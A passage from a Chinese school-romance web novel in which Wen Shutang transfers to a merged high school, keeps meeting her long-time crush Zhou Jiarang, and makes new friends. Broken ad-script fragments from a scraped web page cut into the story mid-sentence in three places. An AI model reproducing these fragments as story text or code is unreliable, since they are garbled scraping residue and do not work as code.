拧着药盖的动作一顿,温书棠咬了下嘴唇,欲言又止几次后,还是慢慢吞吞地开口:“姐……实在不行就离婚吧。” “这样下去总不是办法。” 话音刚落,温惠神色僵了下,迟缓两秒后,笑得有些苦涩:“哪有想象中那么容易,之前那几次……” “算了。” 不想勾起那些不好的回忆,温惠没有继续这个话题,捏了下她手心:“你就别烦心这些了,姐姐会有打算的。” 温书棠本想再劝几句,但对上她还红着的眼睛,又不忍心地把话咽了回去。 …… 吃过晚饭,温书棠回到自己的房间,准备把白天没弄懂的题目再看一遍。 门被敲响,温惠来给她送水果,关切地问:“明天就要去新学校报道了吧?要用的材料都准备好了吗?” 温书棠点点头:“都准备好了。” 三个月前,教育局突然决定,要将漓江六中合并到九中里,说是为了解决教育资源分配不平等的问题。 消息一出,便掀起不小的风浪,有人反对有人赞成,两拨人不可开交地闹了很久,最后却也是无疾而终。 “晚点再检查一遍,千万别落下什么东西。” 温惠说完,觉得自己的担心实在多余,毕竟这么多年温书棠一直是又乖又懂事,无论是学习还是其他方面,从来都没让她操心过。 但她很快又想起什么,睫毛低垂着颤了颤,话语里多了些许自责:“其实当年中考,你本就该去九中的,但是……” “都怪姐姐不好,耽误了你。” “姐。”温书棠不想听她这么说,皱着眉打断,“没什么好耽误的,在哪读书都一样。” “怎么可能一样。”温惠重重叹了口气,“六中是漓江公认的吊车尾,每年重本率还不到百分之十,和九中根本没法比。” “而且我还听说,你们那年的中考状元也去了九中,可见九中实力确实挺强的。” 听到“状元”两个字,温书棠心口一滞,连带着手上的力气都怔松,黑色水笔啪一声地砸到地上。 温惠瞧她不太对劲,也跟着一愣:“怎么了?” 温书棠捡起笔,心不在焉地接话:“没事。” 温惠没有多想,自顾自地往下说:“九中哪哪都好,就是离家有点远,来回在路上会不会太折腾了?” “不会。”温书棠轻声否认,“公交车挺方便的,半小时就到了。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“看我差点忘了,平时你也总去市图那边自习,应该都走习惯了。”提起这个,温惠老生常谈地唠叨起来,“有时候真是搞不懂你,家旁边就有图书馆,非要舍近求远地跑到市中心。” 温书棠眸光微闪,攥着笔尖的手指收紧,指腹压出血色,她不自然地咳嗽了下:“市图环境比较好,在那学习的效率能高一点。” “好吧好吧。”温惠拿她没办法,咕哝一句。 时针渐渐指向顶端,城市快要陷入昏睡,卧室里的灯却还没有关。 澄黄光线勾勒出女孩温软的面孔,温书棠坐在书桌前,脊背挺直,头微低,下颌和肩颈连成柔和的弧度。 伴着绵绵雨声,她打开抽屉下层,从里面拿出一本日记。 日记已经写了大半,纸张边缘都微微泛黄,显然是被人打开看过很多次。 翻到新的一页,温书棠写好日期和天气,笔尖悬在半空,思考许久,才在下面添上新的一句。 会遇见吗。 - 清晨六点,闹钟准时响起。 不知道是不是因为要去新学校,这一夜温书棠睡得并不好,第二天起床的时候,眼下挂着两个大大的黑眼圈,她皮肤白,衬得这点青灰尤为刺眼。 温惠端着早饭从厨房里出来,瞧见她都吓了一跳,问她是不是哪里不舒服。 温书棠揉揉眼睛,声音有点含糊:“没有。” “别总熬夜看书。”温惠把牛奶放到她面前,手背在她额头贴了下,确实不烫,“还有两年才高考呢,不用把自己逼太紧,咱们慢慢来,身体最重要。” 温书棠咬着面包,眼角弯弯:“知道啦。” 盛夏时分,天气总是变得很快,前后十分钟不到,原本阴云密布的天,此刻已是晴空高照。 阳光从树叶缝隙中挤过,在地面落下斑驳跳跃的光影,温书棠站在公交站旁,在一连串汽鸣的催促中,登上了熟悉的46路。 早高峰还没到,车上空位不少,温书棠靠窗坐下,不想虚度时光,从口袋里拿出本单词书。 跟随车辆的颠簸,书页也轻轻晃动,广播的报站声萦绕在耳边,中山路、太平街、四牌楼……距离碑亭巷越来越近,眼前的单词也越来越陌生,变成一堆晦涩难懂的字母。 心脏好像被一根细线勒着,缠出细细密密的涩痛,呼吸一点点加重,温书棠不受控制地紧张起来。 虽然她也不知道,自己有什么好紧张的。 九中那么大,她运气又那么差,能遇见的概率几乎为零。 可暗恋的人就是这样。 即便经历过千百次失望,即便明白不该抱有幻想,可当下一次机遇来临之际,仍然会心跳怦怦地翘首以待,构想出无数种和他相遇的可能。 又一站驶过,心还是静不下来,温书棠干脆合上书本,偏头去看车窗,看着倒映在上面的自己的身影。 她今天换了白色T恤,领口规规矩矩地扣着,头发在脑后高扎成马尾,露出光洁饱满的额头,还有笔直纤细的脖颈。 有几缕碎发不太听话,翘着垂在耳侧,温书棠抬手捋顺,车子也在碑亭巷停下来。 城市在晨曦中逐渐苏醒,这边虽然是主城区,可烟火气却很重,随处可见的早餐摊子,从乌饭团吆喝到梅花糕,旁边还有刚出锅的泡泡馄饨,热气腾腾,香味四溢。 电动车穿梭在大街小巷,争分夺秒地和时间抢跑,晨练完的大爷大妈最为清闲,不紧不慢地排着长队,用方言扯起家长里短。 气温又升高几度,街道两旁的梧桐树影婆娑,微风拂面,送来阵阵紫薇香气,蝉鸣声蔫蔫懒懒,和往来喧嚷交织在一起。 没走出几步,温书棠听见身后有人叫自己。 “书棠!” 她回过头,发现是林晚听,停下脚等她一起过来。 林晚听是她在六中时的同学,两人先后坐过小半年同桌,关系还算可以。 “真的好不习惯啊。”林晚听鼓起腮帮,和她抱怨,“六中和九中完全就是相反的方向,早上出门的时候,我差一点就坐错车了。” 温书棠嗯了下,顺着她撒了个谎:“我也没适应过来。” 但其实,这条路她已经走过好多好多次。 以至于每一个转角、每一个路口,哪怕是闭上眼睛,她都能毫无差错地走下来。 春夏秋冬,雨雪阴晴,她的身影从未缺席,只为创造一场本不属于她的偶遇。 饶是这样,她也从来都没有成功过。 想到这,温书棠掐了下掌心,纤长睫毛遮住眼底的酸意。 “好端端的,干嘛要并校呀。”林晚听没察觉到她的失神,不情不愿地吐槽着,“真不知道这群领导到底是怎么想的。” 按照九中的惯例,新学期要检查仪容仪表,两人还没报道,自然没有校服,被不知情的值周生拦下来。 “你们俩是哪个班的?” “我们……” 温书棠刚想解释,旁边插进来一道中气十足的男声,拔高音量朝着这边喊: “周嘉让,你给我站住!” 4. 再遇 有那么一瞬间,温书棠怀疑自己是不是听错了。 是不是她太过于痴心妄想,以至于生出了不该有的幻觉。 在理清思绪之前,身体先一步作出反应,温书棠下意识回头看去—— 阳光好像更毒了一点,那人站在最刺眼的几缕光线里,五官和神情都被虚化,隐隐约约只能分辨出一道挺拔落拓的身影。 个子很高,人也瘦,周遭镀着层暖金色的光晕。 距离逐渐缩减,光影也在变换,穿过这片朦胧,他的模样如画卷般慢慢展露出来。 仿佛精心雕琢过,男生的眉眼极为好看,眉骨高挺,眼睫漆黑,双眼皮褶皱窄且深,眼尾微微上挑,面部轮廓立体而分明。 皮肤冷白,下颌折角凌厉,自带一种生人勿近的疏离感,足够危险,却又足够让人忍不住靠近。 黑发被风吹得凌乱,他穿着最简单的白T,依然藏不住比例优渥的身形,书包随意挂在肩上,单手抄兜,浑身上下透着股玩世不恭的散漫。 大概是感受到她的视线,男生忽然抬眼,朝她这个方向看过来。 就在目光交汇的前一秒,如梦初醒一般,温书棠仓惶转身,乌黑柔顺的发尾被甩到肩膀前。 心跳强如擂鼓,脑袋里一片混乱,宛若被什么东西定住,她愣在原地,呆滞了足足五秒,连呼吸都被忘掉。 直至身侧覆下阴影,将灼热晃眼的日光遮住,失焦的眸光渐渐恢复清明,她才恍然回过神来。 …… 脊背的紧绷还未褪去,嗅觉又被侵占,完全陌生的薄荷雪松,霸道又强势地攫取着她的气息,像是坠入无边海底。 灰色地面上,那道颀长身影不断靠近,重叠,交缠,最后和她的影子完全贴合在一起。 周嘉让居然在她身边停了下来。 指尖用力陷进掌心,传来细密难耐的痛意,温书棠终于能够确认。 这不是梦。 他们……真的遇见了。 她无数次暗自期待的场景,在这一刻变成现实。 “周嘉让!” 在她胡思乱想的间隙里,斜前方走来一个中年男人,经典的条纹polo衫,鼻梁上架着副银框眼镜,头发稀疏得有些可怜。 被点名的人不慌不忙,笑着和他打了个招呼:“闫主任,早上好啊。” 他声音很好听,低沉,干净,带着张扬的少年气,只是语调懒洋洋的,听起来没个正形。 “好好好,我好什么好!”看他这副吊儿郎当的样,闫振平气不打一处来,“离老远就看见你没穿校服,什么意思,故意和我对着干是吧。” “哪敢啊。”周嘉让回得毕恭毕敬,但却听不出半点诚意,“我这不是怕迟到,走得比较急,给忘了吗。” “忘了?”闫振平嗓门拔高几个度,“你怎么不把自己也给忘了?!” 周嘉让没接话,喉咙溢出一声笑。 这笑声太勾人,温书棠悄悄用余光看他。 映入眼帘的是白色衣角,还有垂在身侧的手臂,指形修长,骨节分明,虎口处还嵌着一颗黑痣。 再往上,肌肉线条流畅硬朗,青筋脉络微微凸起,带着鲜活蓬勃的力量感。 温书棠眨了下眼,又发现他腕部似乎有刺青,只是这个角度看不真切,她一时无法确定。 怕被察觉,她没敢看更多,老老实实将眼神收回。 闫振平还没数落够,没好气地呵道:“刚开学就这么嚣张,不知上进,等从英才班掉出来你就舒服了?” “主任。”周嘉让突然开口,不正经的劲儿收了收,挺认真地问,“咱们九中是打算把英才班解散了么?” 闫振平:“?” “解散什么解散!你别给我转移话题!” 听这意思就是不解散,周嘉让了然地哦了声,贴心解释:“那您不用担心,只要校领导没有取消英才班的打算,那我一时半会应该是掉不出来。” “……” 闫振平直接被气笑了,抬手推了推眼镜,正准备继续训人,周嘉让却打断了他:“主任。” “您骂我归骂我。”他不经意往旁边扫了眼,拖腔拖调的,“就别让不相关的同学在这晒着了吧,人家怪无辜的。” 话音落,温书棠瞳孔骤然紧缩。 好不容易平复的心跳再次失控,令人窒息的心悸也冒出头,像卸了闸的洪水,铺天盖地的席卷开来。 此时被拦在校门口的,除了周嘉让之外,就只有她和林晚听两人。 也就是说…… 他注意到自己了吗? 因为周嘉让的存在,本就有很多过路的同学在往这边看,而他这句漫不经心的话,让她更加不自在起来。 他还在看吗? 她的头发是不是乱了? 衣领是不是也没弄好? 站姿会不会—— …… 他随时可能瞥过来的目光,就像一把悬在头顶的无形刃,温书棠不由得攥紧衣袖,眼睫像被淋湿的羽翼,扑簌簌地止不住轻颤。 周嘉让并不清楚她这些心思,只捕捉到了她那微不可见的逃避。 站在身边的女孩,头颈埋得极低,细软的发丝垂绕过肩,却挡不住她周身的拘谨。 他有这么可怕吗。 眉心拧起,周嘉让神色暗了一瞬。 “你们俩哪个班的?”闫振平背着胳膊,走到温书棠面前,不满意地来回打量,“不知道要穿校服么?” 不等她们回答,他忽而想起来什么:“六中并过来的?” 温书棠小幅度地点点头。 “那快进去吧。”闫振平态度缓和不少,“先去震旦楼报道,那边有老师接待你们。” 默了两秒,温书棠艰难找回自己的声音,说了句谢谢老师后,落荒而逃般拉着林晚听进去。 女孩的背影很快消失,风中清恬的茉莉香也随之褪去。 蝉鸣聒噪,盛夏的燥热翻涌而起。 闫振平看回周嘉让,变脸似的换上暴躁表情:“你也先进去!等下课再收拾你!” 周嘉让扯了扯唇,还是那副痞里痞气的样,只不过眸里少了几分兴致,情绪也莫名变得有点淡。 他用鼻音哼出个嗯,抬腿往校园里走去。 …… 匆匆走出几十米后,慌乱的心情勉强平静下来,缠着袖口的手指松掉,温书棠如释重负地呼出一口气。 但与此同时,心底又难以自抑地生出几分沮丧。 她刚刚表现得实在是太差了。 他会不会觉得自己很奇怪啊。 他…… 算了。 温书棠苦涩地抿了下唇,把这些自怨自艾的想法通通丢掉。 他怎么会在意这些呢。 他根本不认识自己啊。 震旦楼三楼,会议室被乌泱泱的人群挤满。 门口公示板上贴着他们的分班,密密麻麻的小字,温书棠仰头找了好一会儿,最后在七班那排瞧见了自己的名字。 目光继续往下,名单上并没有从前班上的同学。 这反而让她松了一口气。 林晚听被分在四班,苦着一张脸抱住她的手臂:“我在家祈祷了小半个月,怎么还是没和你分到一起。” 温书棠拍拍她肩膀,柔声安慰:“没关系,两个班离得应该不远,我们下课还能见到的。” “唔……好吧。” 分开之后,温书棠按照指示牌,找到七班的报道处。 七班班主任叫陈曼芸,是英语老师,长卷发,一身米色西装,戴着一副金丝眼镜,看起来干练又不失气质。 她正忙着核对资料,抬头瞥到温书棠:“七班的?” 温书棠点头说是,紧接着她递过来一沓表格:“先找个地方把这些都填了。” “好的老师。” …… 所有人到齐后,陈曼芸带着他们去班级。 毕竟是新学期,气氛难免浮躁,早自习已经开始五分钟了,教室里还有不少人在闲聊说笑。 陈曼芸卷起手中课本,在走廊窗台上敲了两下:“整栋楼就属咱们班最吵,一个假期过去都长本事了是吧,是竞赛能拿奖还是总分能上七百啊,一个个的都这么嚣张。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “这么喜欢讲,要不上来讲几句?” “……” 等下面彻底安静后,陈曼芸进入正题:“想必大家也都知道了,这学期六中合并到我们九中,咱班一共分来了十名新同学。” “都先来做个自我介绍吧。” 这种环节向来是尴尬又无聊,台上人机械地报出自己的名字,台下人象征性地送上掌声。 轮到温书棠的时候,她站在讲台上,简短的一句话说完,手心却渗了一层冷汗。 “往后大家就都是同学了。”陈曼芸再次叮嘱,“一定要好好相处,互相帮助。” 没浪费太多时间,她快速给众人分了座位,温书棠被分到一组四排。 她抱着书包过去,发现身旁那个位置是空的,只有一些书本堆放在桌面上。 陈曼芸给她解释:“你同桌有事请假了,估计明天才会来学校。” 隔壁班老师过来喊她开会,陈曼芸加快语速交代:“都老实点啊,赶紧把心收一收,暑假作业做成什么样,你们比我心里有数。” “反正这学期我就带咱们一个班,有大把时间检查作业,要是被我查出什么问题,可别怪我不留情面啊。” 高跟鞋碰地的声音渐远,留下教室里一片唉声叹气。 早自习还剩三十分钟,温书棠和后桌女生问了下这边的进度,比六中快很多,尤其是物理,差了能有半本书的内容。 九中这边已经讲到选修3-1,她们六中连必修二都没讲完。 物理本来就是她的短板,现在又落下这么大一块,温书棠不禁有些头疼。 腮帮鼓了鼓,她从书包里拿出课本和教辅材料,闷头开始自学。 直到下课铃响,她还有几个点没有看懂,本打算再琢磨一会,后面有人拍了下她肩膀,是个带着黑框眼镜的男生。 “温……书棠?”他磕磕绊绊地回想着,“是你吧?老陈让你去她办公室一趟。” 温书棠合上笔盖:“是我,谢谢。” 起身从班级里出来,走廊里都是嬉闹追逐的学生。 英语组就在她们这层,楼梯拐角的旁侧,温书棠抬手敲门,里面传来一声“请进”。 办公室里人很多,各班课代表忙着来送作业,练习册和试卷堆了满地,门口几个老师聚在一起,激烈商讨着这学期的教学计划。 还没找到陈曼芸在哪,温书棠却在这一片忙乱中瞄到一个熟悉的背影。 心口又是一紧,她没想到自己会再次遇见周嘉让。 右侧最里面的那张桌子,他没骨头似的倚在隔板上,澄黄的曦光透过窗子,给他蒙上一层暖色调的滤镜。 相比于之前那会儿,他神情中多了几分倦怠,黑睫没什么精神地垂着,看起来像是没太睡醒。 想起早上的狼狈,那股别扭劲儿又从心底冒了出来,温书棠抿唇眨了下眼,缓神去找陈曼芸。 可上天和她开了个大玩笑。 好巧不巧,陈曼芸就在周嘉让对面那个位置上。 脚步停顿片刻,温书棠掐了掐掌心,努力装作他不存在,低头走了过去。 所幸的是,周嘉让并没有发现自己。 “老师。”她喉咙发紧,细若蚊呐,“您找我。” 陈曼芸刚开完教研会,桌上七零八落地散着一堆试卷,不像刚才在班级里那样严肃,她朝温书棠笑了下,拉开一旁的椅子:“坐吧。” “不用紧张,叫你不是来训话的。”陈曼芸拿起搁在手边的那沓资料,“我看了你从前的档案,成绩非常不错,高一那几次联考,题目难度不小,你都进了全市前百。” “中考名次也很靠前,我特意查过,按照那一年的情况,正好是在我们九中的录取区间内的。” 陈曼芸顿了顿,不自觉皱起眉:“但最后怎么去了六中啊?” 温书棠被这个问题噎了下。 某些记忆涌上心头,放在膝前的手悄然攥紧,牙齿细细咬在唇肉上,她正思考着该怎么回答—— 靠在对面的那个人,倏然偏过头来,深邃幽沉的目光,不偏不倚地落在了她的身上。 5. 对视 温书棠实在不知道,今天到底是她的幸运日,还是她的水逆日。 短短一个早上就碰见他两次,可她却表现得一次比一次差劲。 预备铃声响起,其他同学陆陆续续地回到班级。 外头喧闹声消散,气氛一时变得有些清寂。 周嘉让还没移开眼,神色不带一丝波澜,就那么直直地看着她。 他敛着眸,情绪很淡,但温书棠却莫名有种错觉,刚刚陈曼芸问出的那个问题,他似乎也在等着她的答案。 两米不到的距离,那道视线就如同碾石一般,将本就稀薄的空气压榨干净,让人无法控制地想要逃避。 指尖被掐到发痛,温书棠低下头,脑袋里一片混乱:“我……” “没事。”陈曼芸看出她的为难,宽慰般地笑笑,“老师就是随便问问,不方便说也不用勉强。” 而另一侧,女老师发现周嘉让盯着旁边出神,纳闷问了句:“看什么呢?” “没什么。”周嘉让终于收回目光,嗓音冷冷淡淡的,像冰饮外壁沁出的凉雾,“欣赏一下学校的风景。” 说完还像模像样点评了句:“挺好看的。” “……” 女老师颇为无语地扫他一眼,捞起桌上的试卷递给他:“行了,你也别在这杵着了,把这个带回去发了,一会上课要讲。” 周嘉让伸手接过,兴致缺缺地哦了声,再没有其他话。 办公室的门开了又阖。 那道身影彻底消失在余光里,就连门外的脚步声也逐渐远去。 攥紧的手慢慢松开,温书棠苍白的脸色得以缓和过来。 “今天叫你来没别的事。”陈曼芸接着之前的话,“就是想和你聊一下,按照你这个成绩,努努力的话,我认为进英才班应该是没什么问题的。” 温书棠愣了下,重复着疑惑:“英才班?” “对。”陈曼芸和她介绍,“咱们高二年级一共十八个班,一班和二班分别是文理科的英才班,三班到十二班是理科平行班,十三班到十六班是文科平行班,十七班和十八班是艺体班。” “英才班是为了培养尖子生专门开设的,师资力量更好,教学进度也更快,中考全市排名前4000的同学直接进入,另外,在高一正式开学前的七月,学校还会组织一次分班考试,成绩优异的同学也会被录取。” “不过班级成员并不是固定不变的,如果在任何一次大型考试中,英才班同学的成绩掉出年级前10%,就会被降到平行班里,相应的,平行班的同学也有机会升进去。” “像这学期,咱们班就有一位从英才班降出来的同学。” 温书棠似懂非懂,抓住话里的关键:“大型考试?是指期中期末这些吗?平时的月考算吗?” “月考也算。”陈曼芸耐心解答,“只有周测和随堂测这种不算。” “听起来是严苛了点,不过学校这样安排,也是想督促大家,毕竟咱们漓江是高考大省,竞争向来激烈,要想最后能进入理想大学,任何时候都不能放松警惕。” 六中并没有这种规矩,温书棠默了好一会儿才消化。 她又突然想起来,早上在校门口时,那个闫主任和周嘉让提起的,什么从英才班掉出来。 原来是这个意思吗。 也就是说,他在英才班二班。 陈曼芸从身侧箱子里翻出一沓资料,理整齐后放到温书棠面前:“我个人很看好你,这是上个学期的试卷,你可以抽空做做,了解一下咱们九中的出题风格。” “我和其他老师也打过招呼了,有什么不懂的,你随时来找我们沟通。” 从前在六中的时候,无论好坏,老师对学生的态度都很淡,甚至可以说是漠不关心。 头一次这么被人上心对待,温书棠鼻尖有点酸:“谢谢老师。” “这有什么好谢的。”小姑娘长得软,性子又乖,陈曼芸越看越喜欢,笑得很是慈爱,“快上课了,要是没什么疑问的话,就先回班级吧。” 温书棠拿起试卷:“好,老师再见。” 上午四节课过得很快,九中这边的讲课方式和六中完全不同,节奏又快又密,即便温书棠提前做过预习,也还是有些吃力。 尤其是最后那节物理,讲的是运动电荷在磁场中受到的力,男老师操着一口含糊的苏城口音,让本就复杂的知识点更加难懂,各种受力分析听得人脑涨头晕。 下课铃响,她没急着走,把笔记认真整理完,才捏了捏酸痛的手指,一个人去吃食堂。 食堂里人不多,温书棠要了碗皮肚面,端着餐盘在角落的位置坐下。 还没从高强度的课堂中缓过来,她没什么胃口,温温吞吞地吃着面条,心思也涣散,目光有意无意地在周围寻找。 没看到周嘉让。 筷子戳在碗底,心口漾出丝丝缕缕的酸胀,温书棠觉得自己实在是奇怪又矫情。 怕见到他,又怕见不到他。 见到他会怯懦,见不到他会失落。 所以她永远是暗恋的胆小鬼,只敢在人群之外,偷偷看一眼他的背影。 那天后面,一切都进行得很平静。 桌角堆积的试卷翻了一倍,高二的紧迫感如潮水般席卷,大家终于从假期那种涣散的状态中调节过来,课间闲聊声少了,都在低头努力。 晚上九点十分,两节晚自习结束。 乘公交车回到家,温惠正在改客人的衣服,听见开门声后抬起头:“恬恬回来啦。” 她撂下手里的东西,过去接温书棠的书包:“饿不饿?姐姐刚才煮了点汤圆,正好吃。” 温惠把汤圆盛进碗里,又热了一杯牛奶给她:“怎么样?今天在学校还顺利吗?” “都挺好的。”不想让她担心,温书棠没把那些不适应的地方讲出来,只是说,“老师同学都很好相处。” “那就好。” 温惠欣慰地笑起来,别的方面没什么,只是温书棠从小就闷,和人相处比较慢热,她总是放心不下。 黑芝麻馅细腻香甜,温书棠咬着汤圆,又把英才班的事和温惠提了下。 温惠仔细听完,揉揉她头发:“我们恬恬那么棒,姐姐当然相信你。” “但还是那句话,不要给自己太大压力,咱们顺其自然,尽力就好。” 温书棠很乖地说了句好。 复习完当天的功课,她抱着衣服去洗澡,家里的沐浴露换了,是清新的海盐柠檬,还伴随一点冷调。 下意识的,温书棠想起那个人,想起他身上的雪松味道。 她随便擦了擦头发,坐回到书桌前,将抽屉里的那本日记又拿了出来。 校门口、英语组。 笔尖和纸张擦出沙沙声,她没头没尾地写下这两个地点。 斟酌许久,又在下面补充一句。 【暗恋一个人,总是悲喜交织,起起伏伏。】 - 隔天,雾气蒙蒙。 温书棠很早便去了学校,外面天还没亮透,稀稀落落地挂着几颗星星。 打开教室里的灯,她掏出物理课本和习题,深吸一口气,埋头研究起那堆变态的定义和公式。 九中绿化很好,临窗的香樟和梧桐郁郁葱葱,此刻被晨风掠动,拂开让人心静的草木香气。 因为是新学期,早自习没有特定安排,学生可以根据自己的情况,随便选择科目学习。 时间在不知不觉中流逝,温书棠一口气看了三小节的内容,等她再放下笔,分针刚好指向30,课间铃准时响起。 她摁了摁略为僵硬的肩膀,准备去打杯热水,顺便换换脑子。 从水房回来,走到座位旁边,左侧那张空了整天的椅子上多了一个粉色书包,应该是她的同桌来了。 像是验证她的猜测,身前传来一道俏皮的声音:“你好呀。” “你就是我的——”那人话说了一半,猛然吞掉尾音,随即是难以置信的语调,还带着几分惊喜,“是你呀?” 怔了两秒,温书棠偏过头。 女生扎着高马尾,齐刘海,眼睛很大,皮肤也白,脸上带着未褪去的婴儿肥,看起来活泼又可爱。 她眨眨眼,朝温书棠露出两个小酒窝:“你还记得我吗?” 温书棠呆呆地想了会儿, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有印象地点点头:“记得。” 去年秋天,教育局心血来潮,把全市高中聚在一起,举办了一次联合运动会。 开幕式那天,温书棠在洗手间撞见一个女孩,膝盖上好大一块擦伤,疼得根本不能动弹,她便连忙把人扶去了医务室。 时隔一年,没想到会在这里再见。 对方同样很意外,兴奋地抱住她胳膊:“还没来得及自我介绍呢,我叫谢欢意,你叫我欢意或者欢欢都可以。” 温书棠牵了下唇角:“我叫温书棠。” “当时我还让你在纸上给我留了联系方式,想找个机会请你吃饭来着。”谢欢意拉着她坐下,不大好意思地提起旧事,“但后来那张纸条被我不小心弄丢了,怎么找都没找回来,所以就……” 温书棠弯起眼,语气柔和:“没关系呀,你看我们这不是又见面了吗。” 谢欢意“嗯嗯”两声,一边感慨缘分一边提议:“要不今天中午我们一起吃饭吧,我请客,把之前没吃上的补回来。” 对上她期待的表情,温书棠没有推脱:“好啊。” “哦对了。”谢欢意想到什么,“我还有另外两个朋友也要来,你介意吗?你要是介意的话,我就让他们自己去吃。” 温书棠在这种事上一向随和,摇头说:“不介意的。” 谢欢意亲昵地搂住她:“那就这么说定了哦。” 十一点四十五,下课铃如约而至。 后排男生急不可耐地起身,生物老师无奈提醒,让他们别忘记做书后的附加题。 谢欢意合上书本,挽着温书棠往外走。 在连廊等了十五分钟,校园里的人潮几乎散尽,她们仍没等到那两个所谓的朋友。 一小时前落了场雨,空气里的潮湿还没干,太阳迫不及待挤出云层,变本加厉地炙烤着大地,将水汽都烘成让人烦躁的闷意。 青枝绿叶被抽空活力,恹恹蔫蔫地耷下,未干的水珠顺着叶片滑落,谢欢意的耐心也在不断流失。 “不是吧。”她半趴在栏杆上,圆眼被光刺得眯起,“这俩人什么情况啊?怎么还没出来。” 温书棠站在她身旁,好脾气地劝:“再等等吧,也许是拖堂了。” “五分钟。”谢欢意划出最后时限,“要是五分钟后还没人,咱们就不等了。” 然而半分钟都没挺过,她沉不住气地直身:“算了,还是上去看看吧。” “要是敢放我鸽子,他们就死定了。” 温书棠跟在谢欢意身后,低着头拐到右侧楼梯口。 她这人有个坏习惯,走路时容易分心,这才迈了两级台阶,思绪飘远,又开始琢磨课上没解出的习题。 刚理出一点思路,前面谢欢意开了口,满不高兴地抱怨:“你们怎么才来啊。” 没思考太多,温书棠下意识抬眸。 脚步也在这一秒停住,那对漂亮的琥珀色瞳孔微微睁大。 几米开外的地方,迎面走来两个男生,但不知是那人太耀眼,还是什么其他原因,她的眼神被牢牢定在右边—— 他今天换了校服,白T配着运动裤,明明很普通的款式,可套在他身上就格外好看,利落平直的肩线,颀长挺拔的身形,每一寸都恰到好处地被展现。 碎发垂在额前,他肤色冷,衬得发色更黑,左手插着口袋,步伐透着懒倦的散漫。 五阶、四阶、三阶…… 他们之间的距离正在不断缩短。 温书棠无意识地空咽了下,抑在胸腔里的心跳越来越烈。 剩下最后一阶的时候,周嘉让有分寸地停下脚。 一阵风吹过,温书棠的衣角被鼓起。 柔软布料擦过男生的裤边,冷雪松和茉莉香纠缠在一起,黑白贴合,形成一抹禁色。 周嘉让眉心微动,撩起眼皮,似是无意瞥向她。 温书棠恰好仰头,肩颈拉出清柔的曲线。 雨后初霁,笼罩在整个校园里,连廊上到处都是细碎的阳光,连带影子也变得雀跃生动。 漫不经心的少年,和紧张无措的少女,站在一高一低的台阶上,身影撞进彼此的眼底。 6. 焦点 风没停,时间却好像是静止了。 这是他们第二次对视,也是距离最近的一次对视。 男生眼型狭长,眼尾收敛,卧蚕下面嵌着一颗泪痣,曜石似的质感,给他平添几分锐气,眸色漆黑,如深渊般望不到底。 温书棠一瞬间有些失神。 绵软对上锋芒,如同铁石相撞,悄无声息地爆出火花,然后一寸寸燃烧,一寸寸向她内心深处逼近。 可是暗恋的人,眼中向来藏不住秘密。 不想就这样暴露心事,于是在防线失守的前一秒,温书棠垂下眸,欲盖弥彰地移开目光。 这场对峙,终究是她落入下风。 谢欢意没发觉这边的异常,皱着脸抱怨:“你们两个大男生怎么这么磨蹭啊,我都要被晒死了。” “你以为我们想啊。”左边那个男生开口,语调拉得老长,替自己伸冤,“还不是老季拖着不放,我们俩这还是提前溜出来的呢。” “你又不是不知道,按照他以往的变态程度,没半小时别想结束。” 谢欢意轻哼一声,才不听他这些解释。 “大小姐消消气。”男生脸上堆着笑,抬手给她扇风,“晚上请你吃恒记的牛奶冰。” “行吧。”谢欢意扬起下巴,像只傲娇的布偶猫,“勉强原谅你了。” 把人哄好,男生松了口气,视线向后,看见站在一旁的温书棠,碰了碰谢欢意胳膊:“不介绍一下?” “哦对。”谢欢意揽过温书棠肩膀,尾音上扬,“这是我的新同桌,温书棠。” 男生“哦哦”两下,笑了笑算是打过招呼:“你好,我叫许亦泽,是谢欢意的青梅竹马。” 温书棠礼貌地弯起唇角:“你好。” 话音落,空气忽然安静下来。 场上只剩下一个人,从头到尾都没有说过话。 周嘉让倚在扶梯栏杆上,一条腿撑地,另一条腿踩着上一级台阶屈起。 黑睫低阖,在眼下拓出淡淡一层阴影,身后玉兰树掉下的叶片被他捏在手里,正百无聊赖地把玩着。 想到大少爷平时那难搞的性格,谢欢意也不指望他能主动,先一步打破沉寂,自作主张地替他介绍:“棠棠,这是——” 话说到一半,一道低沉的声音插了进来,言简意赅地撂下三个字: “周嘉让。” 温书棠不敢看他,牙齿咬着唇瓣,小幅度地点了点头。 楼上传来杂乱的脚步,紧接着是乌泱泱的吐槽声,应该是老季终于放人下课了。 几人也没再磨蹭,先后从教学楼里出来,朝着校门口的方向走。 温书棠扯了下谢欢意的衣袖,在她耳边问:“我们不去食堂吗?” “食堂来来回回就那么几样,早就吃腻了。”谢欢意从口袋里翻出来两颗水果糖,一颗塞到她手心,另一颗咬进嘴里,言语含糊,“我们平时都去校外吃。” 怪不得。 温书棠在心里默默想着。 怪不得昨天在食堂看不到他。 她轻轻地眨了眨眼,内心忽而腾出一丝雀跃。 虽然这点信息根本算不上什么,可她还是觉得,自己对他的了解又多了一点。 八月晌午,正是一天中最热的时候,梧桐蔫垂,蝉鸣扰耳。 从校门出来,向右走过一条长窄的辅路,再往左拐,绿底白字的路牌上写着延龄巷。 青灰色的石板路,谢欢意大手一挥,语气豪爽:“为了感谢我家棠棠,今天通通本小姐请客!” “感谢?”许亦泽不紧不慢地跟在她后面,抓住话里的关键词,“不是吧谢欢意,我也就一上午没守着你,你又捅什么篓子了,还得麻烦人家帮忙。” “我才没有呢!” 谢欢意没好气地瞪他,觉得这人真是狗嘴吐不出象牙:“我指的是高一,咱们开联合运动会那次。” 复述完事情的原委,她又疑惑地扫了许亦泽一眼:“诶?当时在医务室,你不是也在场吗?” “是吗?”许亦泽眉梢微挑,给自己找台阶下,“这都过去一年了,我上哪记得这些。” 谢欢意一脸“我就知道”的表情,没拆穿他,反而拍拍他手臂,善解人意地安慰:“没关系呀。” “回去我就让阿姨给你多买点脑白金。” “好、好、补、补。” 许亦泽:“……” 他们俩吵吵闹闹的,没半秒钟能消停,这一路的气氛倒没有想象中那么尴尬。 紧张情绪被冲淡,温书棠心思涣散起来,目光悄悄左斜,看向那个人。 